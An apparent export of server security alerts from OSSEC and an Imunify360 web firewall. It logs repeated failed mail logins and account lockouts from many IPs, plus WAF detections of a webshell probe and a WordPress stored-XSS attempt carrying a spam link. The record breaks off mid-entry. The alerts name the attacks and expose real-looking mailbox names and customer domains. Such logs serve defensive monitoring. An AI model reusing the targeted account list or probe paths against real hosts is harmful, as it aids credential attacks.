name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:31:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62774: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:31:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:31:28 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:32:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64615: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:32:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:32:24 dovecot_login authenticator failed for H=(TeUqOWZ2p) [158.94.208.175]:61968: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 34.76.200.20
country_id: 2802361
description:
Feb  1 06:32:53 sv3 pure-ftpd[607217]: (?@34.76.200.20) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.187.65.135
country_id: 1814991
description:
2026-02-01 06:32:55 dovecot_login authenticator failed for H=([118.187.65.135]) [118.187.65.135]:60384: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.20.73.26
country_id: 1814991
description:
2026-02-01 06:32:36 dovecot_login authenticator failed for H=([14.20.73.26]) [14.20.73.26]:44473: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:32:46 dovecot_login authenticator failed for H=(V9DghJ) [178.16.52.139]:57123: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:32:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:32:04 dovecot_login authenticator failed for H=(Erc1CTD) [178.16.54.22]:63131: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:32:05 dovecot_login authenticator failed for H=(kAyKDlVuD) [178.16.52.139]:54337: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 06:32:10 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:33950: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:32:16 dovecot_login authenticator failed for H=(IhnTjeUgcq) [158.94.208.215]:57990: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:32:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:32:38 dovecot_login authenticator failed for H=(t06HHRhk) [185.36.81.54]:57696: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:32:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:32:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:33:04 dovecot_login authenticator failed for H=(zOkeYc8N1u) [158.94.208.215]:64178: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:33:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:33:14 dovecot_login authenticator failed for H=(5pLDeV) [158.94.208.175]:64126: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:33:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55258: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:33:13 dovecot_login authenticator failed for H=(ey4em3v) [178.16.54.22]:53485: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:33:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:33:03 dovecot_login authenticator failed for H=(5KhOhXv) [178.16.52.139]:62406: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:33:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:33:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:33:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.196.2
country_id: 1814991
description:
2026-02-01 06:33:14 dovecot_login authenticator failed for H=([112.82.241.226]) [61.160.196.2]:53096: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.58.66.231
country_id: 3469034
description:
2026-02-01 06:33:22 dovecot_login authenticator failed for H=(187.58.64.145.static.host.gvt.net.br) [187.58.66.231]:36733: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:33:39 dovecot_login authenticator failed for H=(pLMvlYa) [185.36.81.54]:57565: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:34:07 dovecot_login authenticator failed for H=(jEgJHLhfV) [158.94.208.175]:50117: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:34:16 dovecot_login authenticator failed for H=(AQhULR7F) [158.94.208.215]:64789: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:34:41 dovecot_login authenticator failed for H=(3Ziq2Pefo) [185.36.81.54]:64662: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:34:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:34:03 dovecot_login authenticator failed for H=(rSO5as) [178.16.52.139]:49663: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:34:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:34:22 dovecot_login authenticator failed for H=(Z3lVrJb) [178.16.54.22]:52835: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:34:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:35:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.131.191
country_id: 2589581
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=612903 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:35:01 dovecot_login authenticator failed for H=(x8IViYTEfS) [178.16.52.139]:58159: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:35:06 dovecot_login authenticator failed for H=(foMFVT) [178.16.52.139]:57199: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:35:08 dovecot_login authenticator failed for H=(bs9vqv) [178.16.54.22]:64645: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.244.197.199
country_id: 597427
description:
2026-02-01 06:35:37 dovecot_plain authenticator failed for H=([91.244.197.199]) [91.244.197.199]:53430: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:35:35 dovecot_login authenticator failed for H=(42rWyq3v6) [185.36.81.54]:64700: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:35:04 dovecot_login authenticator failed for H=(0DU5DmumZe) [158.94.208.215]:57272: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:35:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:35:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:35:15 dovecot_login authenticator failed for H=(zCNdnQLz) [158.94.208.175]:49364: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:36:01 dovecot_login authenticator failed for H=(lZjONJXs) [178.16.52.139]:55569: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:36:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:36:17 dovecot_login authenticator failed for H=(2MOoms) [178.16.54.22]:61332: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:36:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:36:32 dovecot_login authenticator failed for H=(EdV8pddpJV) [185.36.81.54]:65478: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:36:16 dovecot_login authenticator failed for H=(l8FcsV) [158.94.208.215]:63791: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:36:21 dovecot_login authenticator failed for H=(1yVi59uqs) [158.94.208.175]:54487: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.202
country_id: 1269750
description:
2026-02-01 06:37:43 dovecot_login authenticator failed for H=([182.95.85.212]) [182.95.123.202]:55112: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.213.98
country_id: 1269750
description:
2026-02-01 06:37:51 dovecot_login authenticator failed for H=([128.185.241.123]) [152.52.213.98]:51250: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.84.25.45
country_id: 3175395
description:
2026-02-01 06:37:33 dovecot_plain authenticator failed for H=(liaral) [82.84.25.45]:46094: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:37:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:37:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:37:04 dovecot_login authenticator failed for H=(kpUJCL) [178.16.52.139]:60612: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:37:06 dovecot_login authenticator failed for H=(SlhBgRft71) [178.16.52.139]:55309: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:37:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:37:03 dovecot_login authenticator failed for H=(MSEGL5YG) [178.16.54.22]:55801: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:37:18 dovecot_login authenticator failed for H=(mqZ0zuwE2) [185.36.81.54]:63543: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:37:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:37:04 dovecot_login authenticator failed for H=(OLDS6UNz) [158.94.208.215]:55405: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-02-01 06:37:07 dovecot_login authenticator failed for H=([175.203.199.118]) [175.203.199.118]:25896: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:37:17 dovecot_login authenticator failed for H=(r7xycG) [158.94.208.175]:52610: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-02-01 06:37:23 dovecot_login authenticator failed for H=([211.116.107.222]) [211.116.107.222]:57307: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:38:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:38:42 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50695: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:38:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:38:12 dovecot_login authenticator failed for H=(roLGbNsy) [178.16.54.22]:63382: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.2
country_id: 1269750
description:
2026-02-01 06:38:19 dovecot_login authenticator failed for H=([125.19.173.202]) [152.52.236.2]:34150: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:38:01 dovecot_login authenticator failed for H=(hFyJp5UP2) [158.94.208.175]:55147: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.136.164.157
country_id: 6252001
description:
2026-02-01 06:38:09 dovecot_login authenticator failed for H=c-76-136-164-157.hsd1.il.comcast.net [76.136.164.157]:45218: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:38:14 dovecot_login authenticator failed for H=(LRb2wO2A7) [158.94.208.215]:60328: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:38:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:38:03 dovecot_login authenticator failed for H=(oHCP1KCFg0) [178.16.52.139]:57663: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:38:04 dovecot_login authenticator failed for H=(yhJqoT) [185.36.81.54]:59392: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:39:22 dovecot_login authenticator failed for H=(JKq8PAkB) [185.36.81.54]:57665: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:39:02 dovecot_login authenticator failed for H=(EwwY0y) [158.94.208.215]:63006: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 06:40:01 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (rainess) [87.103.126.54]:45170: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.46
country_id: 1036973
description:
2026-02-01 06:39:06 dovecot_login authenticator failed for H=(dynamic-adsl.movitel.co.mz) [197.219.210.46]:39132: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:39:21 dovecot_login authenticator failed for H=(xpk9zznM1H) [178.16.52.139]:54284: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:39:02 dovecot_login authenticator failed for H=(BIvVz2cEk) [178.16.52.139]:51929: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:39:13 dovecot_login authenticator failed for H=(yvOskSD) [158.94.208.175]:54360: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:39:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.251.67.85
country_id: 2017370
description:
2026-02-01 06:39:13 dovecot_login authenticator failed for H=([87.251.67.85]) [87.251.67.85]:47464: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:39:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:39:09 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57910: 535 Incorrect authentication data (set_id=testing@wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:39:22 dovecot_login authenticator failed for H=(jfWKFsPs) [178.16.54.22]:53250: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:39:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:40:02 dovecot_login authenticator failed for H=(gSD9M4Qj) [178.16.52.139]:51720: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:40:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:40:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:40:15 dovecot_login authenticator failed for H=(ibbuqO) [158.94.208.215]:51747: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:40:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: modsec
rule: 77350423
name: IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)
abuser: 202.55.67.194
country_id: 1880251
domain: tst-ma.com
description:
IM360 WAF: Unauthenticated Stored XSS via Avatar Block in WordPress Core < 6.5.2 (CVE-2024-4439)||MVN:ARGS:author||MV:<a href=\"https://bestcasinobangladesh.online/\">bestcasinobgkhPi</a>||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.128.143
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/about-us/faq/images/index.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 06:40:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65383: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:40:21 dovecot_login authenticator failed for H=(j2I5Y8SjiT) [185.36.81.54]:56701: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:40:08 dovecot_login authenticator failed for H=(2l31eAH) [178.16.54.22]:60794: 535 Incorrect authentication data (set_id=enquiry@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:40:10 dovecot_login authenticator failed for H=(kVAKpsAT) [158.94.208.175]:57249: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.45.210
country_id: 953987
description:
2026-02-01 06:40:17 dovecot_plain authenticator failed for H=(Johan-PC) [102.64.45.210]:60719: 535 Incorrect authentication data (set_id=payment@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-02-01 06:41:05 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:38148: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:41:13 dovecot_login authenticator failed for H=(syJH3opuK) [178.16.52.139]:59746: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
